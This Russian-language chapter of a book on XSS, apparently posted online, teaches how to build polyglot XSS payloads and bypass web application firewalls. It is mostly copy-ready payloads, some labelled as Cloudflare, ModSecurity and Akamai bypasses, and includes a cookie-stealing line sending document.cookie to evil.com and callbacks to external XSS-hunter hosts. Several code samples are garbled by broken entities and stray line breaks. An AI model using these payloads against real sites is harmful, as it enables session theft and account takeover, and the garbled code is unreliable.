Книга: «Все об уязвимости XSS». Глава 6: Обход фильтров - WAF это не стена, а приглашение 🚪• Polyglot payloads: один payload для всех контекстов

Представь: ты нашёл точку входа, но не знаешь точно, в каком контексте окажется твой ввод. HTML? Атрибут? JavaScript? А может быть всё сразу на разных страницах? Тестировать каждый контекст отдельно - долго. Отправлять сотни разных payload'ов - шумно. Что если существует универсальный снаряд, который сработает везде? Знакомься: Polyglot Payload - швейцарский нож XSS-охотника, payload, который работает одновременно в нескольких (или даже всех) контекстах. Это не магия, это инженерия и знание спецификаций на уровне мастера.

Что такое Polyglot Payload

Polyglot (от греч. "много языков") в контексте XSS - это payload, который синтаксически корректен и выполняется в нескольких различных контекстах одновременно:

  • HTML body context
  • HTML attribute context
  • JavaScript context
  • URL context
  • CSS context (редко, но возможно)

Классический пример:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Этот монстр от Gareth Heyes работает практически в любом контексте. Да, он выглядит как результат битвы кота с клавиатурой, но это тщательно сконструированная последовательность, где каждый символ имеет значение.

Зачем нужны polyglot&#039;ы

Проблема 1: Неопределённый контекст

Ты тестируешь поисковую форму. Твой запрос отображается:

  • На странице результатов в HTML
  • В заголовке страницы внутри <title>
  • В JavaScript-переменной для аналитики
  • В мета-тегах для SEO
  • В JSON API-ответе

Какой payload отправить? Polyglot решает эту проблему - он сработает хотя бы в одном из этих мест.

Проблема 2: Blind XSS

Когда ты не видишь, где и как отображается твой ввод (например, в админке или email-уведомлении), polyglot увеличивает шансы на успех, покрывая максимум возможных сценариев .

Проблема 3: Экономия времени

Вместо отправки 50 разных payload'ов под разные контексты, отправляешь один универсальный. Это особенно критично при массовом тестировании или bug bounty, где время - деньги.

Анатомия polyglot payload - хирургия монстра

Давай разберём классический polyglot по частям и поймём, почему он работает.

Базовая структура

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">

Разбор по контекстам:

  1. Breaking из атрибутов:
'">
  • &#039; закрывает single-quoted атрибут
  • &quot; закрывает double-quoted атрибут
  • > закрывает тег

Теперь мы вне атрибута и можем создавать свои теги.

  1. HTML Context:
<marquee><img src=x onerror=confirm(1)></marquee>

Если мы в HTML body, создаём рабочие теги с автоматическим триггером через onerror.

  1. Script Context Breaking:
"></script><script>alert(1)</script>

Если мы внутри <script>, закрываем его и открываем свой.

  1. Textarea/Title Breaking:
</plaintext\></|\><plaintext/

Специальные теги типа <plaintext>, <title>, <textarea> обрабатывают содержимое как текст. Нужно их закрыть перед инъекцией.

  1. JavaScript String Context:
';alert(1);//

Если мы внутри JS-строки, закрываем кавычку, ставим точку с запятой, выполняем код, комментируем остаток.

  1. Comment Breaking:
-->
--!>

Если мы внутри HTML-комментария <!-- -->, закрываем его.

Продвинутый polyglot от Mario Heiderich

-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>

Почему он крут:

  • --> выходит из HTML-комментария
  • '"/></sCript> закрывает атрибуты, теги, script
  • <svG x=">"> создаёт SVG (mixed case обходит фильтры)
  • onload=(co\u006efirm)``> использует:
    • Unicode escape \u006e = n (обход фильтров слова "confirm")
    • Template literals (backticks) вместо скобок
    • Скобки вокруг функции для корректного синтаксиса

Создание собственных polyglot'ов - рецепт универсального яда

Шаг 1: Список контекстов

Определи, какие контексты тебе нужно покрыть:

  • HTML body
  • Quoted attribute (single/double)
  • Unquoted attribute
  • JavaScript string
  • JavaScript code
  • URL/href
  • Inside <script>, <style>, <title>, <textarea>
  • Inside HTML comment

Шаг 2: Базовая конструкция

Начни с breaking-последовательности для всех контекстов:

'">-->

Это:

  • &#039; — выход из single-quoted атрибута
  • &quot; — выход из double-quoted атрибута
  • > — закрытие тега
  • --> — выход из комментария

Шаг 3: Добавь исполняемый код для разных контекстов

Для HTML context:

<svg/onload=alert(1)>

Для JavaScript context:

</script><script>alert(1)</script>

Для URL context:

javascript:alert(1)

Шаг 4: Склей всё вместе

'">--></script><svg/onload=alert(1)><!--

Разбор:

  1. Выходим из атрибутов и комментариев
  2. Закрываем возможный <script>
  3. Создаём SVG с onload
  4. Открываем новый комментарий, чтобы "съесть" возможный мусор после

Шаг 5: Обфускация для обхода WAF

Применяй техники из предыдущих глав :

'">--></sCriPt><sVg/onLoAd=alert&#40;1&#41;><!--
  • Mixed case
  • HTML entities для скобок
  • Слэш вместо пробела

Готовые polyglot'ы для копипасты

Компактный универсал

"><svg/onload=alert(1
)>'><svg/onload=al
ert(1)>--><svg/onload=alert(1)>

Три варианта под разные типы кавычек и комментарии.

Средней сложности

'"--></style></script><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Покрывает:

  • Атрибуты (quoted/unquoted)
  • Style и Script contexts
  • SVG execution
  • Regex-based WAF bypass через математические операторы

Hardcore Gareth Heyes Special

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

Работает практически везде, включая экзотические контексты.

Для Blind XSS с callback

'"><script src=https://your-xss-hunter.com></script>

Простой, но покрывает основные контексты и даёт callback.

WAF-specific polyglot&#039;ы

Cloudflare bypass

'">><details/open/ontoggle=conf
irm`1`></script><svg/OnLoAd=co\u006efirm`1`>

Использует:

  • <details> с ontoggle (менее известный event)
  • Template literals вместо скобок
  • Unicode escapes в имени функции
  • Mixed case

ModSecurity bypass

'"--></style></script><xss x='/*
\*/'><!--<svg/OnLoad="\u0061lert('\x58\x53\x53')"-->

Использует:

  • Nested comments
  • Unicode и Hex escapes
  • Кастомный тег <xss>

Akamai bypass

'">><d3v/oNcliCk=(co\u006efir\u006d)//\x00>clickme

Использует:

  • Кастомный тег <d3v> (цифры в имени)
  • Mixed case
  • Unicode escapes
  • Null byte

Тестирование polyglot'ов - систематический подход

Тестовый HTML-файл

Создай локальный файл для проверки своих polyglot'ов:

<!DOCTYPE html>
<html>
<body>
<!-- HTML Context -->
<div>PAYLOAD_HERE</div>
<!-- Quoted Attribute -->
<input value="PAYLOAD_HERE
"><input value='PA
YLOAD_HERE'><!-- Unquo
ted Attribute --><input va
lue=PAYLOAD_HERE><
!-- JS String --><script>var x = "PAYL
OAD_HERE";</script><script>var x =
'PAYLOAD_HERE';<
;/script><!-- Inside Script -->&
lt;script>PAYLOAD_HERE<
/script><!-- Inside C
omment --><!-- PAYLOAD_H
ERE --><!-- Inside Textarea --><t
extarea>PAYLOAD_HERE<
/textarea><!-- Inside Title -->
;<title>PAYLOAD_HERE
</title><!-- URL Context --><
;a href="
;PAYLOAD_HERE">Link</a></body></html>

Подставь свой payload вместо PAYLOAD_HERE и открой в браузере. Сработал хотя бы один alert()? Polyglot работает.

Автоматизация тестирования

contexts = [
'<div>{}</div&
gt;', '<input v
alue="{}">',
'<input value=\'
;{}\'>', '<input value={}
>', '<script>var
x = "{}";<
/script>', '<script>
{}</script>', '<!
-
- {} -->', '<textarea>
{}</textarea>&
#039;, '<a href=&qu
ot;{}">link</a>']payload = &
#039;"><svg/onload
=alert(1)>'for ctx in contexts: html = ctx.format(payload) # Проверка через headless browser или regex if check_execution(html): print(f"[+] Works in: {ctx}")

Практические кейсы

Кейс 1: Bug Bounty на Shopify

Тестировал форму обратной связи. Не знал, где отображается ввод (email админу? в CRM? на сайте?).

Payload:

'"--></script><svg/onload=location='https://xss.ht/my_id'>

Сработало в CRM-системе админа. Получил данные через XSS Hunter.

Кейс 2: Обход строгого CSP

Сайт с CSP script-src 'self'. Нашёл JSONP-endpoint на том же домене.

Polyglot:

"><script src="/api/jsonp?callback=alert">
</script>'><script src="/api/jsonp?callback=alert"></script>

Работал из разных контекстов, вызывая JSONP с произвольным callback.

Кейс 3: Stored XSS в профиле

Поля профиля отображались:

  • На публичной странице (HTML)
  • В JSON API (escaped)
  • В админке (inside attribute)

Polyglot:

"><img src=x onerror=fetch('//evil.com?c='+document.cookie)>

Сработал в админке при просмотре профиля.

Ограничения polyglot 39;ов

Не панацея:

  • Могут быть слишком длинными для коротких полей
  • Некоторые WAF имеют сигнатуры на известные polyglot'ы
  • В очень специфичных контекстах могут не сработать

Когда не использовать:

  • Когда точно знаешь контекст (используй специализированный payload)
  • Когда есть ограничение по длине ввода
  • Когда нужна стелс-атака (polyglot'ы слишком заметны в логах)

Best Practices

  1. Начинай с простого: Не используй hardcore polyglot, если работает простой
  2. Тестируй локально: Сначала проверь на своём HTML-файле
  3. Документируй: Записывай, какие polyglot'ы работают на каких WAF
  4. Кастомизируй: Адаптируй под конкретную цель, не копируй слепо
  5. Комбинируй с техниками кодирования: Добавляй HTML entities, URL encoding для обхода сигнатур

Заключение

Polyglot payloads - это искусство создания универсального оружия в мире множества контекстов. Они требуют глубокого понимания HTML, JavaScript, URL-спецификаций и того, как браузеры парсят всю эту кашу. Хороший polyglot - это не просто набор символов, а тщательно сконструированная последовательность, где каждый элемент имеет цель. Учи классические примеры, понимай их логику, создавай свои варианты под специфику целей. И помни: лучший polyglot - не тот, который работает везде, а тот, который работает там, где тебе нужно, обходя конкретные защиты конкретной цели. В следующих разделах мы применим все изученные техники - от кодирования до polyglot'ов - для обхода конкретных enterprise WAF-решений в реальных боевых условиях.

177 views·2 shares